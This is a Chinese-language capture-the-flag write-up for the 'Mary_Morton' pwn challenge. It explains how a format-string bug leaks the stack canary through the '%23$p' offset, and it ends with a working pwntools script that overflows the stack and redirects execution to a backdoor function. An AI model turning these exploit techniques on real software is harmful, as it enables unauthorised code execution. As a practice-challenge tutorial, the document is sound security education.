题目描述
查看保护
1 2 3 4 5 6 7 8
| pwndbg> checksec [*] '/home/ayoung/Desktop/temp/temp/adworld/Mary_Morton' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
|
分析程序
F5,执行后出现三个选项,选项一可以触发栈溢出漏洞,选项二可出发格式化字符串漏洞,选项三退出。注意到本题开启了canary保护,于是考虑通过格式化字符串泄露canary,然后再进行栈溢出

选项一进入的函数

选项二进入的函数

存在后门

计算参数
计算得到输入位于第6个参数

同时可以算出canary距离栈顶0x90-0x8=136个字节,136/8=17,所以canary的位置对应第23个参数,所以我们用”%23$p”输出canary的值。本题64位,故canary长度8字节,需要接收16个字符(16进制)。
成功泄露canary

exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import* context(os='linux', arch='amd64', log_level='debug') r = process('./Mary_Morton')
r.recvuntil("3. Exit the battle ") r.sendline('2') payload = "%23$p" r.sendline(payload) r.recvuntil("0x") canary = int(r.recv(16),16) print hex(canary) r.recvuntil("3. Exit the battle ") r.sendline('1') payload1 = 'a'*(0x90-0x8) + p64(canary) + 'b'*8 + p64(0x04008DA) r.sendline(payload1) r.interactive()
|